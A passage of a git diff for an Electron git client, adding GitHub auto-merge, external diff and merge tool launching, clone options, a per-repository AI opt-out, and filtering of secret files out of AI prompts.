unstageFiles } from '../git/commit'; +import { getCommitFileDiff, getRangeFileDiff, getRangeFiles, getStashFileDiff, getStashFiles, getWorkingDiff, toFsPath } from '../git/diff'; import { deleteManyBranches, expireReflog, findLargestBlobs, getHousekeeping, getStaleBranches, pruneRemote, runGc } from '../git/health'; import { getLfsFiles, getLfsStatus, lfsFetch, lfsInstallLocal, lfsPrune, setLfsTracking } from '../git/lfs'; import { compareRefs, getCommit, getCommitFiles, getHistory, getMatchingFiles, getPathHistory, isCommitPushed, parseNameStatusZ } from '../git/log'; @@ -40,7 +43,7 @@ import { findShells, openShell, openShellWithCommand } from '../integrations/she import { getLogPath, log } from '../logger'; import { readRepoConfig } from '../repo/config'; import type { RepositoryManager } from '../repo/manager'; -import { assertInsideRepo, canonicalPath } from '../repo/paths'; +import { assertInsideRepo, canonicalPath, readRepoFile, writeRepoFile } from '../repo/paths'; import { addWatchedFolder, folderProblem, sanitizeWatchedFolders, type WatchedFolderScanner } from '../repo/watched-folders'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; @@ -287,6 +290,10 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { store.setApiKey(key && key.trim() ? key.trim() : null); return store.getSettings().ai; }, + 'app.setOpenaiApiKey': async (key) => { + store.setOpenaiApiKey(key && key.trim() ? key.trim() : null); + return store.getSettings().ai; + }, 'app.openExternal': async (url) => { if (!/^https?:\/\//i.test(url)) throw new Error('Only http(s) links can be opened.'); await host.openExternal(url); @@ -310,6 +317,14 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { const settings = store.getSettings(); await openShell(settings.shell, settings.shell === 'custom' ? settings.customShellPath : null, repoPath, (await tools.env()).PATH); }, + 'app.openDiffTool': async (repoPath, path, source) => { + toFsPath(repoPath, path); + await launchGitTool(git, repoPath, 'diff', difftoolArgs(path, source), () => {}); + }, + 'app.openMergeTool': async (repoPath, path) => { + toFsPath(repoPath, path); + await launchGitTool(git, repoPath, 'merge', ['mergetool', '--no-prompt', '--', path], () => send('repo.changed', { repoPath, reason: 'both' })); + }, 'app.clipboard.write': async (text) => host.clipboardWrite(text), 'app.pathExists': async (p) => existsSync(p), 'app.isRepository': async (p) => (await ops.getTopLevel(git, p)) !== null, @@ -385,7 +400,8 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'gh.pr.checks': async (repoPath, number) => gh.prChecks(await requireGitHub(repoPath), number), 'gh.pr.checkout': async (repoPath, number) => withBusy(repoPath, () => gh.prCheckout(repoPath, number)), 'gh.pr.create': async (repoPath, opts) => gh.prCreate(repoPath, opts), - 'gh.pr.merge': async (repoPath, number, method, deleteBranch) => gh.prMerge(await requireGitHub(repoPath), number, method, deleteBranch), + 'gh.pr.merge': async (repoPath, number, method, deleteBranch, auto) => gh.prMerge(await requireGitHub(repoPath), number, method, deleteBranch, auto), + 'gh.pr.disableAutoMerge': async (repoPath, number) => gh.prDisableAutoMerge(await requireGitHub(repoPath), number), 'gh.pr.ready': async (repoPath, number, ready) => gh.prReady(await requireGitHub(repoPath), number, ready), 'gh.pr.close': async (repoPath, number) => gh.prClose(await requireGitHub(repoPath), number), 'gh.pr.reopen': async (repoPath, number) => gh.prReopen(await requireGitHub(repoPath), number), @@ -479,13 +495,15 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { await mkdir(resolve(target, '..'), { recursive: true }); const p = progress('clone', `Cloning ${name}`, null); try { - await withBusy(`clone:${target}`, () => ops.clone(git, url, target, opts.branch, (pct, desc) => p.update(pct, desc))); + await withBusy(`clone:${target}`, () => ops.clone(git, url, target, opts, (pct, desc) => p.update(pct, desc))); } finally { p.done(); } return repos.add(target); }, 'repos.setAlias': async (id, alias) => repos.setAlias(id, alias), + 'repos.setAiDisabled': async (id, disabled) => repos.setAiDisabled(id, disabled), + 'repos.setPrefs': async (id, prefs) => repos.setPrefs(id, prefs), 'repos.refreshIndicators': async () => repos.refreshIndicators(), // ---------------- watched folders ---------------- @@ -515,7 +533,10 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { }, // ---------------- repository reads ---------------- - 'repo.open': async (path) => repos.open(path), + 'repo.open': async (path) => { + const info = await repos.open(path); + return (await readRepoConfig(path)).ai ? info : { ...info, aiConfigOff: true }; + }, 'repo.close': async (path) => repos.release(path), 'repo.status': async (repoPath) => freshStatus(repoPath), 'repo.branches': async (repoPath) => getBranches(git, repoPath), @@ -551,19 +572,22 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { const file = parseNameStatusZ(nameStatus).find((f) => f.path === path) ?? { path, oldPath: null, status: 'modified' as const, additions: null, deletions: null, binary: false, lfs: false }; return getRangeFileDiff(git, repoPath, base, head, file, opts); }, + 'repo.diff.rangeFiles': async (repoPath, base, head) => getRangeFiles(git, repoPath, base, head), + 'repo.commitTemplate': async (repoPath) => readCommitTemplate(git, repoPath), 'repo.stash.files': async (repoPath, stashRef) => getStashFiles(git, repoPath, stashRef), 'repo.stash.resolveRef': async (repoPath, sha) => ops.resolveStashRef(git, repoPath, sha), 'repo.compare': async (repoPath, base, head) => compareRefs(git, repoPath, base, head), 'repo.readFile': async (repoPath, path) => { - const fsPath = toFsPath(repoPath, path); - await assertInsideRepo(repoPath, fsPath); - return readFile(fsPath, 'utf8'); + toFsPath(repoPath, path); + const buf = await readRepoFile(repoPath, path); + if (!buf) throw new Error(`Cannot read ${path}: missing, a symbolic link, or outside the repository`); + return buf.toString('utf8'); }, 'repo.writeFile': async (repoPath, path, content) => { const fsPath = toFsPath(repoPath, path); await assertInsideRepo(repoPath, fsPath); await mkdir(dirname(fsPath), { recursive: true }); - await writeFile(fsPath, content, 'utf8'); + await writeRepoFile(repoPath, path, content); }, 'repo.gitignore.read': async (repoPath) => ops.readGitignore(repoPath), 'repo.gitignore.write': async (repoPath, content) => ops.writeGitignore(repoPath, content), @@ -865,18 +889,23 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { store.setRepoConfigTrust(repoPath, trusted, command); return { ok: true }; }, - 'ai.cancel': async () => { - resolver.cancel(); - review.cancel(); - splitter.cancel(); - triage.cancel(); - prDraft.cancel(); - rebasePlan.cancel(); - releaseNotes.cancel(); - explain.cancel(); - errorExplain.cancel(); - nlPalette.cancel(); - }, + 'ai.cancel': async (feature) => { + const cancel: Record void> = { + resolver: () => resolver.cancel('resolver'), + commitMessage: () => resolver.cancel('commitMessage'), + review: () => review.cancel(), + split: () => splitter.cancel(), + triage: () => triage.cancel(), + prDraft: () => prDraft.cancel(), + rebase: () => rebasePlan.cancel(), + releaseNotes: () => releaseNotes.cancel(), + explain: () => explain.cancel(), + errorExplain: () => errorExplain.cancel(), + nlPalette: () => nlPalette.cancel(), + }; + cancel[feature]?.(); + }, + 'ai.usage.get': async () => readUsage(), 'ai.review.plan': async (repoPath, target) => review.plan(repoPath, target), 'ai.review.start': async (repoPath, target, opts) => review.start(repoPath, target, opts ?? {}, (e) => send('ai.review.progress', e)), 'ai.review.get': async (repoPath, target) => review.get(repoPath, target), @@ -1032,6 +1061,13 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { }, }; + // One chokepoint for the per-repository AI opt-out: the local toggle (Repositories menu) or `"ai": false` in .gitgood/config.json. + guardAiHandlers(handlers as unknown as Record Promise>, async (repoPath) => { + if (repos.getByPath(repoPath)?.aiDisabled) return 'AI is turned off for this repository on this machine. Turn it back on from the repository list menu.'; + if (!(await readRepoConfig(repoPath)).ai) return 'AI is turned off for this repository by "ai": false in .gitgood/config.json.'; + return null; + }); + // The palette's execution step calls back into these same handlers (never a shell, never a // bespoke code path) so it gets identical behaviour to a manual action for the same ApiMethods key. nlPalette.setDispatcher(async (action, repoPath, args) => (handlers[action] as (...a: unknown[]) => Promise)(repoPath, ...args)); diff --git a/src/main/gh/gh.ts b/src/main/gh/gh.ts index 4e83d9f..07a948f 100644 --- a/src/main/gh/gh.ts +++ b/src/main/gh/gh.ts @@ -39,6 +39,7 @@ interface RawPr { changedFiles?: number; mergeable?: string; mergeStateStatus?: string; + autoMergeRequest?: { mergeMethod?: string; enabledBy?: { login?: string } | null } | null; labels?: { name: string }[]; assignees?: { login: string }[]; reviewRequests?: { login?: string; name?: string }[]; @@ -51,7 +52,7 @@ interface RawPr { // Bulk list (up to 100 PRs) must stay under GitHub's GraphQL cost limits: no `commits` (nested authors: 100×100×100 nodes, over the // 500k cap) and no mergeability (computed per PR on demand; times out on repos with many open PRs). Single-PR calls add mergeability back. const PR_LIST_FIELDS = 'number,title,url,author,headRefName,baseRefName,headRefOid,headRepository,headRepositoryOwner,isCrossRepository,isDraft,state,createdAt,updatedAt,statusCheckRollup,reviewDecision,body,additions,deletions,changedFiles,labels,assignees,reviewRequests,files,reviews,latestReviews,comments'; -const PR_FIELDS = `${PR_LIST_FIELDS},mergeable,mergeStateStatus`; +const PR_FIELDS = `${PR_LIST_FIELDS},mergeable,mergeStateStatus,autoMergeRequest`; const ISSUE_FIELDS = 'number,title,url,state,author,labels,assignees,milestone,createdAt,updatedAt,comments,body'; @@ -173,6 +174,7 @@ export function toPullRequest(raw: RawPr): PullRequest { changedFiles: raw.changedFiles ?? null, mergeable: raw.mergeable ?? null, mergeStateStatus: raw.mergeStateStatus ?? null, + autoMerge: raw.autoMergeRequest ? { method: ({ MERGE: 'merge', SQUASH: 'squash', REBASE: 'rebase' } as const)[(raw.autoMergeRequest.mergeMethod ?? '').toUpperCase()] ?? null, enabledBy: raw.autoMergeRequest.enabledBy?.login ?? null } : null, labels: (raw.labels ?? []).map((l) => l.name), assignees: (raw.assignees ?? []).map((a) => a.login), reviewRequests: (raw.reviewRequests ?? []).map((r) => r.login ?? r.name ?? '').filter(Boolean), @@ -215,6 +217,16 @@ export function repoSelector(ref: GitHubRepoRef): string { return ref.host === 'github.com' ? `${ref.owner}/${ref.name}` : `${ref.host}/${ref.owner}/${ref.name}`; } +/** argv for `gh pr merge`: merge now, enable auto-merge (`--auto`, which on merge-queue branches queues the PR once checks pass), or turn auto-merge off. */ +export function prMergeArgs(selector: string, number: number, mode: { method: 'merge' | 'squash' | 'rebase'; deleteBranch: boolean; auto: boolean } | 'disable-auto'): string[] { + const args = ['pr', 'merge', String(number), '--repo', selector]; + if (mode === 'disable-auto') return [...args, '--disable-auto']; + args.push(`--${mode.method}`); + if (mode.auto) args.push('--auto'); + if (mode.deleteBranch) args.push('--delete-branch'); + return args; +} + // --------------------------------------------------------------------------- // Settings sync (gists) // --------------------------------------------------------------------------- @@ -530,10 +542,12 @@ export class GhClient { return { url: /https?:\/\/\S+\/pull\/\d+/.exec(res.stdout + res.stderr)?.[0] ?? null }; } - async prMerge(ref: GitHubRepoRef, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean): Promise { - const args = ['pr', 'merge', String(number), '--repo', repoSelector(ref), `--${method}`]; - if (deleteBranch) args.push('--delete-branch'); - await this.run(args, { timeoutMs: 120000 }); + async prMerge(ref: GitHubRepoRef, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean, auto = false): Promise { + await this.run(prMergeArgs(repoSelector(ref), number, { method, deleteBranch, auto }), { timeoutMs: 120000 }); + } + + async prDisableAutoMerge(ref: GitHubRepoRef, number: number): Promise { + await this.run(prMergeArgs(repoSelector(ref), number, 'disable-auto'), { timeoutMs: 120000 }); } async prReady(ref: GitHubRepoRef, number: number, ready: boolean): Promise { diff --git a/src/main/git/commit.ts b/src/main/git/commit.ts index 7efb7c3..490c1ac 100644 --- a/src/main/git/commit.ts +++ b/src/main/git/commit.ts @@ -1,3 +1,5 @@ +import { readFile, stat } from 'node:fs/promises'; +import { resolve } from 'node:path'; import type { CommitOptions } from '@shared/types'; import { GitError, type GitClient } from './git'; @@ -51,6 +53,35 @@ export function formatCommitMessage(summary: string, description: string, coAuth return `${message}\n`; } +/** Per-commit flags (signing, --signoff, --no-verify) shared by the message path and the merge `--no-edit` path. */ +export function commitFlags(opts: Pick): string[] { + const sign = opts.signOverride === 'sign' ? ['-S'] : opts.signOverride === 'unsigned' ? ['--no-gpg-sign'] : []; + return [...sign, ...(opts.signoff ? ['--signoff'] : []), ...(opts.noVerify ? ['--no-verify'] : [])]; +} + +const MAX_TEMPLATE_BYTES = 64 * 1024; + +/** + * The repository's `commit.template` as summary and description (comment lines dropped, as `--cleanup=strip` would), or null when none is + * configured, readable, or all comments. The path resolves like git does (`~` expanded by `--type=path`, relative paths against the working tree + * root). The file may live outside the repository, but a repository's own config can name it too, so only a small regular text file is read. + */ +export async function readCommitTemplate(git: GitClient, repoPath: string): Promise<{ summary: string; description: string } | null> { + const configured = (await git.tryRun(repoPath, ['config', '--type=path', '--get', 'commit.template'], { readOnly: true }))?.stdout.trim(); + if (!configured) return null; + try { + const file = resolve(repoPath, configured); + const info = await stat(file); + if (!info.isFile() || info.size > MAX_TEMPLATE_BYTES) return null; + const text = await readFile(file, 'utf8'); + if (text.includes('\0')) return null; + const [summary = '', ...rest] = text.replace(/\r\n/g, '\n').split('\n').filter((l) => !l.startsWith('#')).join('\n').trim().split('\n'); + return summary || rest.length ? { summary, description: rest.join('\n').trim() } : null; + } catch { + return null; + } +} + /** * Creates a commit from the selected files, mirroring GitHub Desktop: the index * is rebuilt from the selection so that the commit matches what the UI shows. @@ -64,11 +95,11 @@ export async function createCommit(git: GitClient, repoPath: string, opts: Commi await applyPatchToIndex(git, repoPath, patch); } const message = formatCommitMessage(opts.summary, opts.description, opts.coAuthors); - const signArgs = opts.signOverride === 'sign' ? ['-S'] : opts.signOverride === 'unsigned' ? ['--no-gpg-sign'] : []; - const args = ['commit', '-F', '-', '--cleanup=strip', ...signArgs]; + const flags = commitFlags(opts); + const args = ['commit', '-F', '-', '--cleanup=strip', ...flags]; if (opts.amend) args.push('--amend'); if (mergeInProgress && !opts.summary.trim()) { - await git.run(repoPath, ['commit', '--no-edit', ...signArgs]); + await git.run(repoPath, ['commit', '--no-edit', ...flags]); } else { if (!opts.summary.trim() && !opts.amend) throw new GitError({ message: 'A commit summary is required.', command: 'git commit', exitCode: null, stderr: '', stdout: '', code: 'unknown' }); await git.run(repoPath, args, { stdin: message }); diff --git a/src/main/git/diff.ts b/src/main/git/diff.ts index 29d825e..0917be3 100644 --- a/src/main/git/diff.ts +++ b/src/main/git/diff.ts @@ -5,6 +5,7 @@ import type { CommitFile, FileDiff, ImagePayload, WorkingFile } from '@shared/ty import { parseConflicts } from '@shared/diff/conflicts'; import { countDiffLines, parseUnifiedDiff, synthesizeAddedDiff, type ParsedDiff } from '@shared/diff/parse'; import { buildStagePatch, selectAll } from '@shared/diff/patch'; +import { dropSecretFilePatches, secretFileReason } from '@shared/secrets'; import { imageMediaType, isImagePath, languageFromPath } from '@shared/util'; import { EMPTY_TREE_SHA, type GitClient } from './git'; import { isLfsPointerBuffer, readLfsObject } from './lfs'; @@ -224,6 +225,12 @@ export async function getRangeFileDiff(git: GitClient, repoPath: string, base: s return finishRefDiff(git, repoPath, result.stdout, file, mergeBase, head, opts); } +/** Files changed between the merge base of `base` and `head` (`base...head`), the file list for a pull-request-style comparison. */ +export async function getRangeFiles(git: GitClient, repoPath: string, base: string, head: string): Promise { + const out = await git.stdout(repoPath, ['diff', '--name-status', '-z', '-M', `${base}...${head}`], { readOnly: true, okExitCodes: [1] }); + return parseNameStatusZ(out).sort((a, b) => a.path.localeCompare(b.path, undefined, { sensitivity: 'base' })); +} + /** Text of a blob at a ref, or null when missing or binary. */ export async function readBlobText(git: GitClient, repoPath: string, ref: string, path: string): Promise { return textOrNull(await readBlob(git, repoPath, ref, path)); @@ -266,15 +273,17 @@ export async function getStashFileDiff(git: GitClient, repoPath: string, stashRe * ref that does not resolve), so callers still get a best-effort diff rather * than an outright failure. */ -export async function getRangePatch(git: GitClient, repoPath: string, base: string, head: string, maxBytes: number): Promise<{ stat: string; patch: string; truncated: boolean }> { +export async function getRangePatch(git: GitClient, repoPath: string, base: string, head: string, maxBytes: number): Promise<{ stat: string; patch: string; truncated: boolean; skipped: string[] }> { const mb = (await mergeBase(git, repoPath, base, head)) ?? base; const [statRes, diffRes] = await Promise.all([ git.tryRun(repoPath, ['diff', '--no-color', '--no-ext-diff', '-M', '--stat=120', `${mb}...${head}`], { readOnly: true, okExitCodes: [1] }), git.run(repoPath, ['diff', '--no-color', '--no-ext-diff', '-M', `${mb}...${head}`], { readOnly: true, okExitCodes: [1], maxBuffer: 256 * 1024 * 1024 }), ]); - const patch = diffRes.stdout; + // Secret-shaped files (.env, keys, …) never reach the AI prompt; `skipped` says which were left out. + const { patch, skipped } = dropSecretFilePatches(diffRes.stdout); + const stat = (statRes?.stdout ?? '').split('\n').filter((l) => !secretFileReason(l.split(' | ')[0].trim())).join('\n'); const truncated = patch.length > maxBytes; - return { stat: statRes?.stdout ?? '', patch: truncated ? patch.slice(0, maxBytes) : patch, truncated }; + return { stat, patch: truncated ? patch.slice(0, maxBytes) : patch, truncated, skipped }; } /** diff --git a/src/main/git/external-tools.ts b/src/main/git/external-tools.ts new file mode 100644 index 0000000..297042c --- /dev/null +++ b/src/main/git/external-tools.ts @@ -0,0 +1,37 @@ +import type { GitClient } from './git'; + +export type ExternalToolSource = { kind: 'working' } | { kind: 'commit'; sha: string }; + +/** How long a tool launch has to fail (unknown tool, missing binary) before we report success and let it run on in the background. */ +const EARLY_FAILURE_MS = 1500; + +/** argv for `git difftool` on one file: the working tree against HEAD, or a commit against its first parent. */ +export function difftoolArgs(path: string, source: ExternalToolSource): string[] { + if (source.kind === 'commit' && !/^[0-9a-f]{4,64}$/i.test(source.sha)) throw new Error('Invalid commit id.'); + return ['difftool', '--no-prompt', ...(source.kind === 'commit' ? [`${source.sha}^!`] : ['HEAD']), '--', path]; +} + +/** + * Starts `git difftool`/`git mergetool` without waiting for the tool to exit. + * A failure within the first moments (no tool configured or installed) is thrown + * to the caller; a later exit, successful or not, calls `onExit` (the merge tool + * has rewritten files by then, so callers refresh status there). + */ +export async function launchGitTool(git: GitClient, repoPath: string, kind: 'diff' | 'merge', args: string[], onExit: () => void): Promise { + const configured = (await git.tryRun(repoPath, ['config', '--get', `${kind}.tool`], { readOnly: true }))?.stdout.trim(); + if (!configured) { + const example = kind === 'diff' ? 'git config --global diff.tool meld' : 'git config --global merge.tool meld'; + throw new Error(`No ${kind} tool is configured. Set one in a terminal, e.g. "${example}" (replace meld with kdiff3, vscode, bc, ...); "git ${kind}tool --tool-help" lists the tools git knows.`); + } + const done = git.run(repoPath, args, { quiet: true }).then( + () => null, + (err: unknown) => (err instanceof Error ? err : new Error(String(err))), + ); + const early = await Promise.race([done.then((err) => ({ err })), new Promise((resolve) => setTimeout(() => resolve(null), EARLY_FAILURE_MS))]); + if (early) { + onExit(); + if (early.err) throw early.err; + return; + } + void done.then(onExit); +} diff --git a/src/main/git/log.ts b/src/main/git/log.ts index 0334f30..ea27653 100644 --- a/src/main/git/log.ts +++ b/src/main/git/log.ts @@ -1,5 +1,6 @@ import type { Commit, CommitFile, CommitSignature, FileStatusKind, HistoryPage, HistoryQuery, ReleaseCommit, SignatureStatus } from '@shared/types'; import { friendlyRegexError, isEmptyHistoryQuery, parseCoAuthors } from '@shared/util'; +import { secretFileReason } from '@shared/secrets'; import type { HistoryOptions } from '@shared/ipc'; import { extractSquashPrNumber, MAX_RANGE_COMMITS } from '../ai/release-notes-core'; import { EMPTY_TREE_SHA, GitError, type GitClient } from './git'; @@ -374,6 +375,10 @@ export async function getCommitPatch(git: GitClient, repoPath: string, sha: stri const text = `diff --git a/${file.path} b/${file.path}\nBinary files differ (not shown)\n`; return { path: file.path, text, bytes: 0 }; } + if (secretFileReason(file.path)) { + const text = `diff --git a/${file.path} b/${file.path}\n(secrets file, not shown)\n`; + return { path: file.path, text, bytes: 0 }; + } const paths = file.oldPath ? [file.oldPath, file.path] : [file.path]; const args = isMerge ? ['diff', '--no-color', '--no-ext-diff', '-M', firstParent, sha, '--', ...paths] : ['show', '--no-color', '--format=', '-M', sha, '--', ...paths]; const res = await git.tryRun(repoPath, args, { readOnly: true, okExitCodes: [1], maxBuffer: 64 * 1024 * 1024 }); diff --git a/src/main/git/operations.ts b/src/main/git/operations.ts index 226390d..88b423b 100644 --- a/src/main/git/operations.ts +++ b/src/main/git/operations.ts @@ -1,7 +1,7 @@ import { mkdir, readFile, rm, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; import type { OperationOutcome } from '@shared/ipc'; -import type { RebaseSquashOptions, Remote, Stash, Tag, GitConfigInfo, SigningConfig, SigningConfigInfo, SigningFormat } from '@shared/types'; +import type { CloneOptions, RebaseSquashOptions, Remote, Stash, Tag, GitConfigInfo, SigningConfig, SigningConfigInfo, SigningFormat } from '@shared/types'; import { assertNewBranchName, assertNotOption } from '@shared/util'; import { getStashFiles, toFsPath } from './diff'; import { GitError, TransferProgressParser, type GitClient } from './git'; @@ -104,12 +104,37 @@ export async function push( }); } -export async function clone(git: GitClient, url: string, directory: string, branch: string | null, onProgress: ProgressSink, signal?: AbortSignal): Promise { - const parser = new TransferProgressParser('fetch'); - const args = ['clone', '--progress', '--recurse-submodules']; - if (branch) args.push('--branch', branch); +/** Cone-mode sparse-checkout directories: repository-relative, forward slashes, no `..`, nothing option-like. */ +export function normalizeSparseDirs(dirs: string[]): string[] { + const out = dirs.map((d) => d.trim().replace(/\\/g, '/').replace(/^(\.\/|\/)+/, '').replace(/\/+$/, '')).filter(Boolean); + const bad = out.find((d) => d.startsWith('-') || d.split('/').includes('..')); + if (bad) throw new Error(`"${bad}" is not a valid sparse-checkout directory.`); + return [...new Set(out)]; +} + +/** argv for `git clone` honouring the advanced options (shallow, single branch, blobless partial clone, sparse checkout, submodules; submodules default to on). */ +export function cloneArgs(url: string, directory: string, opts: Omit): string[] { + assertNotOption(opts.branch); + const args = ['clone', '--progress']; + if (opts.submodules !== false) args.push('--recurse-submodules'); + if (opts.branch) args.push('--branch', opts.branch); + if (opts.depth != null) { + if (!Number.isInteger(opts.depth) || opts.depth < 1) throw new Error('Clone depth must be a whole number of 1 or more.'); + args.push('--depth', String(opts.depth)); + if (opts.submodules !== false) args.push('--shallow-submodules'); + } + // --depth already implies --single-branch in git, so a shallow clone needs no flag. + if (opts.singleBranch) args.push('--single-branch'); + if (opts.blobless) args.push('--filter=blob:none'); + if (opts.sparse?.length) args.push('--sparse'); args.push('--', url, directory); - await git.run(null, args, { + return args; +} + +export async function clone(git: GitClient, url: string, directory: string, opts: Omit, onProgress: ProgressSink, signal?: AbortSignal): Promise { + const parser = new TransferProgressParser('fetch'); + const sparse = normalizeSparseDirs(opts.sparse ?? []); + await git.run(null, cloneArgs(url, directory, { ...opts, sparse }), { signal, onStderr: (chunk) => { const p = parser.feed(chunk); @@ -117,6 +142,7 @@ export async function clone(git: GitClient, url: string, directory: string, bran }, timeoutMs: 60 * 60 * 1000, }); + if (sparse.length) await git.run(directory, ['sparse-checkout', 'set', '--cone', ...sparse]); } // ---------- merge / rebase / cherry-pick / revert ---------- diff --git a/src/main/index.ts b/src/main/index.ts index b32dc08..7dba5a0 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -1,4 +1,4 @@ -import { accessSync, constants } from 'node:fs'; +import { accessSync, constants, statSync } from 'node:fs'; import { join } from 'node:path'; import { app, BrowserWindow, dialog, Menu, nativeTheme, Notification } from 'electron'; import { autoUpdater } from 'electron-updater'; @@ -10,12 +10,14 @@ import { PrDraftService } from './ai/prDraft'; import { RebasePlanService } from './ai/rebasePlan'; import { ReleaseNotesService } from './ai/release-notes'; import { ConflictResolver } from './ai/resolver'; +import { configureUsage } from './ai/usage'; import { ReviewService } from './ai/review'; import { SplitterService } from './ai/splitter'; import { TriageService } from './ai/triage'; import { applyInboxBadge } from './badge'; import { clientServerUrl, fetchServerVersion, isLocalServerUrl, registerClientIpc, showInboxNotification, waitForServer, watchServerVersion } from './client'; import { BACKGROUND_SERVER_FLAG, ensureManagedServer, managedServerSupported, setUpManagedServer, startBackgroundServer } from './local-server'; +import { pathFromArgv } from './argv'; import { GitClient } from './git/git'; import { fetch as gitFetch } from './git/operations'; import { GhClient } from './gh/gh'; @@ -58,6 +60,7 @@ if (process.env.GITGOOD_USER_DATA) app.setPath('userData', process.env.GITGOOD_U const PROTOCOLS = ['gitgood', 'x-github-client']; const pendingProtocolUrls: string[] = []; +const pendingOpenPaths: string[] = []; const backgroundServer = process.argv.includes(BACKGROUND_SERVER_FLAG); const gotLock = backgroundServer || app.requestSingleInstanceLock(); @@ -68,6 +71,7 @@ if (backgroundServer) { app.quit(); } else { let mainWindow: BrowserWindow | null = null; + let clientMode = false; const getWindow = () => mainWindow; const deliverProtocolUrl = (raw: string) => { @@ -84,13 +88,24 @@ if (backgroundServer) { else sendEvent(win, 'menu.action', { action: 'protocol-open', args: { url: parsed.url, branch: parsed.branch, filepath: parsed.filepath } }); }; - app.on('second-instance', (_event, argv) => { + /** Opens a folder passed on the command line (`gitgood `). Local mode only: in client mode the path is on this machine, the repositories on the server. */ + const openPath = (argv: string[], cwd: string) => { + if (clientMode) return; + const path = pathFromArgv(argv, { defaultApp: !!process.defaultApp, cwd, isDirectory: (p) => statSync(p, { throwIfNoEntry: false })?.isDirectory() ?? false }); + if (!path) return; + const win = getWindow(); + if (win) sendEvent(win, 'menu.action', { action: 'open-path', args: { path } }); + else pendingOpenPaths.push(path); + }; + + app.on('second-instance', (_event, argv, workingDirectory) => { if (mainWindow) { if (mainWindow.isMinimized()) mainWindow.restore(); mainWindow.focus(); } const url = protocolUrlFromArgv(argv); if (url) deliverProtocolUrl(url); + openPath(argv, workingDirectory); }); app.on('open-url', (event, url) => { event.preventDefault(); @@ -98,6 +113,7 @@ if (backgroundServer) { }); const initialUrl = protocolUrlFromArgv(process.argv); if (initialUrl) pendingProtocolUrls.push(initialUrl); + openPath(process.argv, process.cwd()); /** Delivers protocol links that arrived before the renderer could take them. */ const flushPendingProtocolUrls = (win: BrowserWindow) => { @@ -105,6 +121,7 @@ if (backgroundServer) { // Give the renderer a moment to bootstrap before delivering queued links. setTimeout(() => { for (const raw of pendingProtocolUrls.splice(0)) deliverProtocolUrl(raw); + if (!clientMode) for (const path of pendingOpenPaths.splice(0)) sendEvent(win, 'menu.action', { action: 'open-path', args: { path } }); }, 1500); }); }; @@ -128,6 +145,7 @@ if (backgroundServer) { if (serverUrl) { // Client mode keeps the repository on the server, but the desktop still owns its installer update channel. log.info(`Client mode: using the GitGood server at ${serverUrl}`); + clientMode = true; const disabledEnv: DisabledEnv = { isPackaged: app.isPackaged, platform: process.platform, portableExecutableDir: process.env.PORTABLE_EXECUTABLE_DIR, appImagePath: process.env.APPIMAGE, appImageWritable: appImageWritable(process.env.APPIMAGE) }; const updateProvider = new ElectronUpdaterProvider(autoUpdater as unknown as ElectronAutoUpdater, () => store.getSettings().updateChannel); const updater = new Updater(store, updateProvider, (state) => { @@ -173,6 +191,7 @@ if (backgroundServer) { const git = new GitClient(tools); const gh = new GhClient(tools); const repos = new RepositoryManager(store, git, bus.emit); + configureUsage(userData); const resolver = new ConflictResolver(store, tools, git); const review = new ReviewService(store, tools, git, gh, repos, userData); const splitter = new SplitterService(store, tools, git); diff --git a/src/main/repo/config.ts b/src/main/repo/config.ts index e5831cd..9a4919a 100644 --- a/src/main/repo/config.ts +++ b/src/main/repo/config.ts @@ -4,9 +4,11 @@ import { readRepoFile } from './paths'; export interface RepoConfig { /** Shell command from `.gitgood/config.json`'s `postResolveCheck` field, or null when absent/invalid. */ postResolveCheck: string | null; + /** False only when the file says `"ai": false`: AI is switched off for this repository for everyone who clones it. */ + ai: boolean; } -const EMPTY_REPO_CONFIG: RepoConfig = { postResolveCheck: null }; +const EMPTY_REPO_CONFIG: RepoConfig = { postResolveCheck: null, ai: true }; /** * Reads and validates `.gitgood/config.json` at the repository root. This @@ -32,6 +34,6 @@ export async function readRepoConfig(repoPath: string): Promise { /** Pure validation, split out for unit testing without touching the filesystem. */ export function parseRepoConfig(raw: unknown): RepoConfig { if (!raw || typeof raw !== 'object') return EMPTY_REPO_CONFIG; - const command = (raw as { postResolveCheck?: unknown }).postResolveCheck; - return { postResolveCheck: typeof command === 'string' && command.trim() ? command : null }; + const { postResolveCheck: command, ai } = raw as { postResolveCheck?: unknown; ai?: unknown }; + return { postResolveCheck: typeof command === 'string' && command.trim() ? command : null, ai: ai !== false }; } diff --git a/src/main/repo/manager.ts b/src/main/repo/manager.ts index 3e2b53d..2405618 100644 --- a/src/main/repo/manager.ts +++ b/src/main/repo/manager.ts @@ -447,6 +447,21 @@ export class RepositoryManager { this.send('repos.changed', await this.list(false)); } + /** Machine-local list/commit prefs; only the keys present in `prefs` change (a blank group clears it). */ + async setPrefs(id: string, prefs: Pick): Promise { + const patch: Pick = {}; + if (prefs.pinned !== undefined) patch.pinned = prefs.pinned === true || undefined; + if (prefs.group !== undefined) patch.group = typeof prefs.group === 'string' ? prefs.group.trim().slice(0, 60) || undefined : undefined; + if (prefs.signoff !== undefined) patch.signoff = prefs.signoff === true || undefined; + this.store.saveRepositories(this.store.getRepositories().map((r) => (r.id === id ? { ...r, ...patch } : r))); + this.send('repos.changed', await this.list(false)); + } + + async setAiDisabled(id: string, disabled: boolean): Promise { + this.store.saveRepositories(this.store.getRepositories().map((r) => (r.id === id ? { ...r, aiDisabled: disabled || undefined } : r))); + this.send('repos.changed', await this.list(false)); + } + touch(id: string): void { this.store.saveRepositories(this.store.getRepositories().map((r) => (r.id === id ? { ...r, lastOpened: Date.now() } : r))); const recent = [id, ...this.store.getState().recentRepositoryIds.filter((r) => r !== id)].slice(0, 10); diff --git a/src/main/repo/paths.ts b/src/main/repo/paths.ts index 4f1edcc..c0bfac4 100644 --- a/src/main/repo/paths.ts +++ b/src/main/repo/paths.ts @@ -1,4 +1,4 @@ -import { lstat, 